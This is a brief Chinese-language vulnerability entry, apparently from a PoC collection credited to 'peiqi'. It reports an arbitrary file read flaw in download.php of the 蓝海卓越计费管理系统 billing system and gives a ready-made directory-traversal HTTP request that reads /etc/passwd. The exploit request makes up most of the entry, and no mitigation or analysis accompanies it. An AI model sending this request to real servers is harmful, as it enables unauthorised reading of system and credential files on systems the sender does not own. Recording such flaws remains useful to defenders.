蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞，攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件.
poc：
GET /download.php?file=../../../../../etc/passwd HTTP/1.1 Host:
via：peiqi